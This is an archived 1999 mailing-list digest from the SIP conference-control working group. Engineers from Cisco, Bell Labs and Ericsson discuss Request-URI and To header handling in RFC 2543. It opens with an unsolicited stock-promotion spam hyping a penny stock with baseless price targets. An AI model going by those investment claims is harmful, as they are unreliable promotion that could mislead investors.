Received: from fridaysStockPicks.com (ats2-79.worldramp.net [207.30.147.179])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id MAA11981;
	Mon, 26 Jul 1999 12:48:18 -0700 (PDT)
DATE: Mon, 26 Jul 1999 15:51:19 -0500
Message-ID: <hhgocwrs>
Subject: HOT STOCK PICK                                        (adv.)
From: ENCR@fridaysStockPicks.com
To: $user@ISI.EDU
X-Reply-To:  ENCR@fridaysStockPicks.com
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Encounter.com, Inc.  (OTC BB:  ENCR)http://fridaysstockpicks.com/
The Stock is currently trading at only 32 cents!

Upside potential is tremendous!

Their current fiscal year earnings (May 31, 2000) are projected at 36 cents per share, justifying a future share price of $4.00 to $6.00 in the next twelve months.

Company operates singlestogo.com interactive singles matching web site!

Company is licensing it's name to and internet gaming casino and will participate in a revenue sharing of highly profitable online gambling business!!!!!

ENCR is positioned to become the world's leading provider of online services to the huge global singles market, concentrating on 'voice personals', online dating, theater & event booking, Internet gaming, and the multi-billion travel industry. 

Read the analysis on this fascinating company at http://fridaysstockpicks.com/

From confctrl-owner  Tue Jul 27 12:18:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA04803
	for confctrl-outgoing; Tue, 27 Jul 1999 12:18:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA04797
	for <confctrl@zephyr.isi.edu>; Tue, 27 Jul 1999 12:18:03 -0700 (PDT)
Received: from bounty.cisco.com (bounty.cisco.com [161.44.2.72])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA25014
	for <confctrl@isi.edu>; Tue, 27 Jul 1999 12:18:02 -0700 (PDT)
Received: from cisco.com (bounty.cisco.com [161.44.2.72])
	by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id PAA23642;
	Tue, 27 Jul 1999 15:17:27 -0400 (EDT)
Message-ID: <379E05C2.29BD07D1@cisco.com>
Date: Tue, 27 Jul 1999 15:17:22 -0400
From: Shail Bhatnagar <shbhatna@cisco.com>
Organization: CISCO
X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
CC: anrao@cisco.com
Subject: Request-URI and To header
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

If my target SIP URL is <sip:xyz@sip.udp.com> and 
I resolve it to an IP address : 10.0.0.4, what should be my 
Request-URI and To header :

INVITE sip:xyz@10.0.0.4 SIP/2.0
To: <sip:xyz@sip.udp.com>

or both should be same ??


-- 
Best regards,
Shail

From confctrl-owner  Tue Jul 27 13:36:19 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA12284
	for confctrl-outgoing; Tue, 27 Jul 1999 13:36:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA12279
	for <confctrl@zephyr.isi.edu>; Tue, 27 Jul 1999 13:36:18 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA04952
	for <confctrl@isi.edu>; Tue, 27 Jul 1999 13:36:14 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Jul 27 16:34:06 EDT 1999
Received: from dnrc.bell-labs.com ([135.17.253.35])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id QAA27361;
	Tue, 27 Jul 1999 16:34:16 -0400 (EDT)
Message-ID: <379E1806.AA4567BA@dnrc.bell-labs.com>
Date: Tue, 27 Jul 1999 16:35:18 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Shail Bhatnagar <shbhatna@cisco.com>
CC: mmusic <confctrl@ISI.EDU>, anrao@cisco.com
Subject: Re: Request-URI and To header
References: <379E05C2.29BD07D1@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Shail Bhatnagar wrote:
> 
> If my target SIP URL is <sip:xyz@sip.udp.com> and
> I resolve it to an IP address : 10.0.0.4, what should be my
> Request-URI and To header :
> 
> INVITE sip:xyz@10.0.0.4 SIP/2.0
> To: <sip:xyz@sip.udp.com>
> 
> or both should be same ??

I'm guessing you're talking about a gateway? The process is as follows:

1. start with the called party address: sip:xyz@sip.udp.com
2. place the called party address into the To field
3. place the called party address into the request URI
4. determine the server to send the request to; here its
10.0.0.4.
5. Send the message to the 10.0.0.4:

INVITE sip:xyz@sip.udp.com
To: sip:xyz@sip.udp.com

Now, lets say the server is a proxy at udp.com. The proxy receives this.
It determines that sip:xyz@sip.udp.com is sip:user_xyz@host3.udp.com. It
might know this from a registration, or from a database query, or any
location service. So, the proxy does the following:

1. places the translated address into the request URI
2. looks up the host portion to find the next hop server for it; say its
10.0.0.5.
3. sends the request to 10.0.0.5:

INVITE sip:user_xyz@host3.udp.com
To: sip:xyz@sip.udp.com

Lets consider a different case, where 10.0.0.4 is not the result of
looking up sip.udp.com in DNS, but rather a local proxy that the client
is configured to always send requests to. This proxy would receive the
request, and note that the request URI is for a user not in its own
domain. So, it looks up sip.udp.com in DNS, and finds a server for it.
Lets say the result is 1.2.3.4. So, it sends the request to 1.2.3.4:

INVITE sip:xyz@sip.udp.com
To: sip:xyz@sip.udp.com

Notice here the request URI has not changed. The local proxy has
effectively provided a remote DNS service. The gateway can send all its
requests there without having to have DNS support. The local proxy can
be used for other functions too, like call screening and others.

This is probably not clear from the spec. I think we need to clarify the
whole issue of setting the To and Request URI fields, and in particular
how this all interacts with registrations and record-routes.

Hope that answers your question,

Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jul 27 14:17:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA14551
	for confctrl-outgoing; Tue, 27 Jul 1999 14:17:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA14546
	for <confctrl@zephyr.isi.edu>; Tue, 27 Jul 1999 14:17:38 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA10961
	for <confctrl@isi.edu>; Tue, 27 Jul 1999 14:17:33 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4a.ericsson.com [198.215.127.160])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id QAA21848
	for <confctrl@isi.edu>; Tue, 27 Jul 1999 16:16:59 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id QAA26396
	for <confctrl@isi.edu>; Tue, 27 Jul 1999 16:16:36 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id QAA21823 for <confctrl@isi.edu>; Tue, 27 Jul 1999 16:16:59 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id QAA06588
	for confctrl@isi.edu; Tue, 27 Jul 1999 16:17:55 -0500 (CDT)
Message-Id: <199907272117.QAA06588@b04a24.exu.ericsson.se>
Subject: SIP spec nit
To: confctrl@ISI.EDU
Date: Tue, 27 Jul 1999 16:17:55 -0500 (CDT)
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Section 6.37 of RFC 2543 has the following statement:

"A SIP server returns a 400 (Bad Request) response if it receives a
request with a To header field containing a URI with a scheme it
does not recognize."

Since To and From headers are mainly used for correlation
purposes at either end, this seems to add some potentially
undesirable behavior. Let's say that, for argument's sake,
I use a redirect server that understands a URI scheme of "name:".
(I'm not proposing this as a new URI scheme; I'm just using
it for an example. If it gives you problems, imagine that it's
"tel:" or something). The UAS on the far end, though, doesn't
understand any scheme except for "sip:".

UAC (ragnarok.spleen.mil) -> Redir Server

  INVITE name:adam+roach SIP/2.0
  To: <name:adam+roach>
  From: <sip:bob@ragnarok.spleen.mil>


Redir Server -> UAC (ragnarok.spleen.mil)

  SIP/2.0 302 Temporarily Moved
  Contact: <sip:exuadam@ws1208.ericsson.com>


UAC (ragnarok.spleen.mil) -> UAS (ws1208.ericsson.com)

  INVITE sip:exuadam@ws1208.ericsson.com SIP/2.0
  To: <name:adam+roach>
  From: <sip:bob@ragnarok.spleen.mil>


It seems to me as if my client should be able to proceed with this 
call quite happily; however, according to the spec, I must reject
it with a 400 unless I understand the "name:" URI scheme.

Am I missing some subtle logic for including this restriction in SIP,
or should it be removed?

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue Jul 27 14:48:00 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA16705
	for confctrl-outgoing; Tue, 27 Jul 1999 14:48:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA16696
	for <confctrl@zephyr.isi.edu>; Tue, 27 Jul 1999 14:47:59 -0700 (PDT)
Received: from bounty.cisco.com (bounty.cisco.com [161.44.2.72])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA14820
	for <confctrl@isi.edu>; Tue, 27 Jul 1999 14:47:57 -0700 (PDT)
Received: from cisco.com (bounty.cisco.com [161.44.2.72])
	by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id RAA09112;
	Tue, 27 Jul 1999 17:47:13 -0400 (EDT)
Message-ID: <379E28E1.967799BA@cisco.com>
Date: Tue, 27 Jul 1999 17:47:13 -0400
From: Shail Bhatnagar <shbhatna@cisco.com>
Organization: CISCO
X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: mmusic <confctrl@ISI.EDU>, anrao@cisco.com
Subject: Re: Request-URI and To header
References: <379E05C2.29BD07D1@cisco.com> <379E1806.AA4567BA@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan, Thanks for the quick response. It really clears things up.

Regards,
Shail


Jonathan Rosenberg wrote:
> 
> Shail Bhatnagar wrote:
> >
> > If my target SIP URL is <sip:xyz@sip.udp.com> and
> > I resolve it to an IP address : 10.0.0.4, what should be my
> > Request-URI and To header :
> >
> > INVITE sip:xyz@10.0.0.4 SIP/2.0
> > To: <sip:xyz@sip.udp.com>
> >
> > or both should be same ??
> 
> I'm guessing you're talking about a gateway? The process is as follows:
> 
> 1. start with the called party address: sip:xyz@sip.udp.com
> 2. place the called party address into the To field
> 3. place the called party address into the request URI
> 4. determine the server to send the request to; here its
> 10.0.0.4.
> 5. Send the message to the 10.0.0.4:
> 
> INVITE sip:xyz@sip.udp.com
> To: sip:xyz@sip.udp.com
> 
> Now, lets say the server is a proxy at udp.com. The proxy receives this.
> It determines that sip:xyz@sip.udp.com is sip:user_xyz@host3.udp.com. It
> might know this from a registration, or from a database query, or any
> location service. So, the proxy does the following:
> 
> 1. places the translated address into the request URI
> 2. looks up the host portion to find the next hop server for it; say its
> 10.0.0.5.
> 3. sends the request to 10.0.0.5:
> 
> INVITE sip:user_xyz@host3.udp.com
> To: sip:xyz@sip.udp.com
> 
> Lets consider a different case, where 10.0.0.4 is not the result of
> looking up sip.udp.com in DNS, but rather a local proxy that the client
> is configured to always send requests to. This proxy would receive the
> request, and note that the request URI is for a user not in its own
> domain. So, it looks up sip.udp.com in DNS, and finds a server for it.
> Lets say the result is 1.2.3.4. So, it sends the request to 1.2.3.4:
> 
> INVITE sip:xyz@sip.udp.com
> To: sip:xyz@sip.udp.com
> 
> Notice here the request URI has not changed. The local proxy has
> effectively provided a remote DNS service. The gateway can send all its
> requests there without having to have DNS support. The local proxy can
> be used for other functions too, like call screening and others.
> 
> This is probably not clear from the spec. I think we need to clarify the
> whole issue of setting the To and Request URI fields, and in particular
> how this all interacts with registrations and record-routes.
> 
> Hope that answers your question,
> 
> Jonathan R.
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jul 27 14:53:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA16946
	for confctrl-outgoing; Tue, 27 Jul 1999 14:53:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA16941
	for <confctrl@zephyr.isi.edu>; Tue, 27 Jul 1999 14:53:28 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA15440
	for <confctrl@ISI.EDU>; Tue, 27 Jul 1999 14:53:27 -0700 (PDT)
From: gonzalo.camarillo@lmf.ericsson.se
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.3) with ESMTP id XAA12152;
	Tue, 27 Jul 1999 23:53:23 +0200 (MET DST)
Received: from greymse1.lmf.ericsson.se by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id AAA11883; Wed, 28 Jul 1999 00:52:34 +0300 (EET DST)
Received: from localhost (root@localhost)
	by greymse1.lmf.ericsson.se (8.8.6 (PHNE_14041)/8.8.6) with SMTP id AAA21687;
	Wed, 28 Jul 1999 00:52:51 +0300 (EETDST)
X-OpenMail-Hops: 1
Date: Wed, 28 Jul 1999 00:52:38 +0300
Message-Id: <H0000e4b02a626c2@MHS>
In-Reply-To: <379E05C2.29BD07D1@cisco.com>
Subject: Request-URI and To header
MIME-Version: 1.0
TO: shbhatna@cisco.com
CC: anrao@cisco.com, confctrl@ISI.EDU, ricky@lmf.ericsson.se
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

> If my target SIP URL is <sip:xyz@sip.udp.com> and 
> I resolve it to an IP address : 10.0.0.4, what should be my 
> Request-URI and To header :
> 
> INVITE sip:xyz@10.0.0.4 SIP/2.0
> To: <sip:xyz@sip.udp.com>
> 
> or both should be same ??

The 'To' header does not have to be changed when we resolve the host part of it.

The callee UAS/UAC will be probably configured for receiving calls addressed to
<sip:xyz@sip.udp.com>, but not for a different SIP URL (with a different host
part)...

Regards,

Gonzalo


From confctrl-owner  Wed Jul 28 08:44:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA25865
	for confctrl-outgoing; Wed, 28 Jul 1999 08:44:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA25860
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jul 1999 08:44:41 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA20055
	for <confctrl@ISI.EDU>; Wed, 28 Jul 1999 08:44:40 -0700 (PDT)
From: gonzalo.camarillo@lmf.ericsson.se
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.3) with ESMTP id RAA18579;
	Wed, 28 Jul 1999 17:44:34 +0200 (MET DST)
Received: from greymse1.lmf.ericsson.se by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id SAA17389; Wed, 28 Jul 1999 18:43:44 +0300 (EET DST)
Received: from localhost (root@localhost)
	by greymse1.lmf.ericsson.se (8.8.6 (PHNE_14041)/8.8.6) with SMTP id SAA25257;
	Wed, 28 Jul 1999 18:44:03 +0300 (EETDST)
X-OpenMail-Hops: 1
Date: Wed, 28 Jul 1999 18:43:49 +0300
Message-Id: <H0000e4b02a68ffe@MHS>
In-Reply-To: <199907272117.QAA06588@b04a24.exu.ericsson.se>
Subject: Re:SIP spec nit
MIME-Version: 1.0
TO: Adam.Roach@ericsson.com
CC: confctrl@ISI.EDU, ricky@lmf.ericsson.se
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Adam,

> Section 6.37 of RFC 2543 has the following statement:
> 
> "A SIP server returns a 400 (Bad Request) response if it receives a
> request with a To header field containing a URI with a scheme it
> does not recognize."

The 'To' header is useful also for knowing who the caller is calling to...(this
sentence sounds stupid, but I'll explain what I mean :o) ).

For example, if I am calling the help_desk of Ericsson, the INVITE request that
the guy working there will receive (after passing thru different servers in the
middle) will look like:

INVITE sip:bob@sip.ericsson.com 
To: sip:help_desk@ericsson.com
...


So, this guy can filter his calls using the 'To' header. He may not want to
receive calls addressed to the help_desk after 5 p.m., but he still wants to
receive his personal calls, addressed to Bob...
The request-URI will be the same for both types of calls...

But even though this is an interesting feature, it may be part of the
implementation of the UAS, instead of part of the protocol itself. This way,
when a UAS received a request with a request-URI that can be understood, but
with a 'To' field that cannot be parsed, the behaviour would be up to the UAS.

I'll see you later,

Gonzalo



> 
> Since To and From headers are mainly used for correlation
> purposes at either end, this seems to add some potentially
> undesirable behavior. Let's say that, for argument's sake,
> I use a redirect server that understands a URI scheme of "name:".
> (I'm not proposing this as a new URI scheme; I'm just using
> it for an example. If it gives you problems, imagine that it's
> "tel:" or something). The UAS on the far end, though, doesn't
> understand any scheme except for "sip:".
> 
> UAC (ragnarok.spleen.mil) -> Redir Server
> 
>   INVITE name:adam+roach SIP/2.0
>   To: <name:adam+roach>
>   From: <sip:bob@ragnarok.spleen.mil>
> 
> 
> Redir Server -> UAC (ragnarok.spleen.mil)
> 
>   SIP/2.0 302 Temporarily Moved
>   Contact: <sip:exuadam@ws1208.ericsson.com>
> 
> 
> UAC (ragnarok.spleen.mil) -> UAS (ws1208.ericsson.com)
> 
>   INVITE sip:exuadam@ws1208.ericsson.com SIP/2.0
>   To: <name:adam+roach>
>   From: <sip:bob@ragnarok.spleen.mil>
> 
> 
> It seems to me as if my client should be able to proceed with this 
> call quite happily; however, according to the spec, I must reject
> it with a 400 unless I understand the "name:" URI scheme.
> 
> Am I missing some subtle logic for including this restriction in SIP,
> or should it be removed?
> 
> -- 
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA


From confctrl-owner  Wed Jul 28 15:04:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA11062
	for confctrl-outgoing; Wed, 28 Jul 1999 15:04:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA11057
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jul 1999 15:04:16 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA17171
	for <confctrl@isi.edu>; Wed, 28 Jul 1999 15:04:15 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Wed Jul 28 18:02:24 EDT 1999
Received: from dnrc.bell-labs.com ([135.17.253.82])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id SAA25845;
	Wed, 28 Jul 1999 18:02:35 -0400 (EDT)
Message-ID: <379F7E3B.9A1FFAB7@dnrc.bell-labs.com>
Date: Wed, 28 Jul 1999 18:03:39 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: gonzalo.camarillo@lmf.ericsson.se
CC: Adam.Roach@ericsson.com, confctrl@ISI.EDU, ricky@lmf.ericsson.se
Subject: Re: SIP spec nit
References: <H0000e4b02a68ffe@MHS>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



gonzalo.camarillo@lmf.ericsson.se wrote:
> 
> Hi Adam,
> 
> > Section 6.37 of RFC 2543 has the following statement:
> >
> > "A SIP server returns a 400 (Bad Request) response if it receives a
> > request with a To header field containing a URI with a scheme it
> > does not recognize."
> 
> The 'To' header is useful also for knowing who the caller is calling to...(this
> sentence sounds stupid, but I'll explain what I mean :o) ).
> 
> For example, if I am calling the help_desk of Ericsson, the INVITE request that
> the guy working there will receive (after passing thru different servers in the
> middle) will look like:
> 
> INVITE sip:bob@sip.ericsson.com
> To: sip:help_desk@ericsson.com
> ...
> 
> So, this guy can filter his calls using the 'To' header. He may not want to
> receive calls addressed to the help_desk after 5 p.m., but he still wants to
> receive his personal calls, addressed to Bob...
> The request-URI will be the same for both types of calls...

This is why the UAS should understand the scheme in the To field. It
can't really successfully filter it if it doesn't understand it. I do
believe this restriction only applies to a UAS; understanding the scheme
for a proxy or redirect is not really important. I think it says this
somewhere in the spec but I'm not certain.

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jul 28 15:37:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA12283
	for confctrl-outgoing; Wed, 28 Jul 1999 15:37:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA12276
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jul 1999 15:37:19 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA22984
	for <confctrl@isi.edu>; Wed, 28 Jul 1999 15:37:18 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id RAA22272;
	Wed, 28 Jul 1999 17:36:48 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id RAA19231;
	Wed, 28 Jul 1999 17:36:22 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id RAA23897; Wed, 28 Jul 1999 17:36:43 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id RAA11091;
	Wed, 28 Jul 1999 17:37:43 -0500 (CDT)
Message-Id: <199907282237.RAA11091@b04a24.exu.ericsson.se>
Subject: Re: SIP spec nit
To: jdrosen@dnrc.bell-labs.com (Jonathan Rosenberg)
Date: Wed, 28 Jul 1999 17:37:43 -0500 (CDT)
Cc: gonzalo.camarillo@lmf.ericsson.se, Adam.Roach@ericsson.com,
        confctrl@ISI.EDU, ricky@lmf.ericsson.se
In-Reply-To: <379F7E3B.9A1FFAB7@dnrc.bell-labs.com> from "Jonathan Rosenberg" at Jul 28, 99 06:03:39 pm
From: "Adam B. Roach" <Adam.Roach@ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Gonzalo>> So, this guy can filter his calls using the 'To' header. He may 
Gonzalo>> not want to receive calls addressed to the help_desk after 5 p.m., 
Gonzalo>> but he still wants to receive his personal calls, addressed to 
Gonzalo>> Bob...
Gonzalo>> The request-URI will be the same for both types of calls...

Jonathan> This is why the UAS should understand the scheme in the To field. It
Jonathan> can't really successfully filter it if it doesn't understand it.

I understand, if you're doing filtering, that you may choose to
reject calls which have an unknown scheme in the To: field; however,
saying that this is correct behavior for a client *in* *general* seems
very restrictive. I'll gave a more realistic example than before.

Let's say that we have a SIP network that is being used to transit
PSTN calls. On one end, I have a PSTN gateway which requires an external
redirection server to perform phone number routing. It does so by sending
all dialed requests to this server with a URI with a "tel:" scheme.

In the particular call I'm trying to complete, it ends up proxying
or redirecting the call to a gateway which does not understand the 
"tel:" scheme. No call filtering is being performed.

Ingress Gateway (austin1.bell.com) -> Routing Server

  INVITE tel:+12145551212 SIP/2.0
  To: <tel:+12145551212>
  From: <tel:+15125551234>
  Contact: <sip:+15125551234@austin1.bell.com>


Routing Server -> Egress Gateway (dallas4.bell.com)

  INVITE sip:+12145551212@dallas4.bell.com SIP/2.0
  To: <tel:+12145551212>
  From: <tel:+15125551234>
  Contact: <sip:+15125551234@austin1.bell.com>


Should this call, under these *particular* circumstances, be rejected
by the egress gateway?  If so, what has been gained?

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Wed Jul 28 17:22:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA15989
	for confctrl-outgoing; Wed, 28 Jul 1999 17:22:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA15984
	for <confctrl@zephyr.isi.edu>; Wed, 28 Jul 1999 17:22:36 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA08006
	for <confctrl@ISI.EDU>; Wed, 28 Jul 1999 17:22:34 -0700 (PDT)
From: gonzalo.camarillo@lmf.ericsson.se
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.3) with ESMTP id CAA29212;
	Thu, 29 Jul 1999 02:22:29 +0200 (MET DST)
Received: from greymse1.lmf.ericsson.se by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id DAA01266; Thu, 29 Jul 1999 03:21:58 +0300 (EET DST)
Received: from localhost (root@localhost)
	by greymse1.lmf.ericsson.se (8.8.6 (PHNE_14041)/8.8.6) with SMTP id DAA23518;
	Thu, 29 Jul 1999 03:21:57 +0300 (EETDST)
X-OpenMail-Hops: 1
Date: Thu, 29 Jul 1999 03:21:37 +0300
Message-Id: <H0000e4b02a6a0c4@MHS>
In-Reply-To: <199907282237.RAA11091@b04a24.exu.ericsson.se>
Subject: Re: SIP spec nit
MIME-Version: 1.0
TO: Adam.Roach@ericsson.com
CC: gonzalo.camarillo@lmf.ericsson.se, confctrl@ISI.EDU,
        jdrosen@dnrc.bell-labs.com, ricky@lmf.ericsson.se
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

As I said in my previous mail:

> But even though this is an interesting feature, it may be part of the
> implementation of the UAS, instead of part of the protocol itself. This way,
> when a UAS received a request with a request-URI that can be understood, but
> with a 'To' field that cannot be parsed, the behaviour would be up to the UAS.

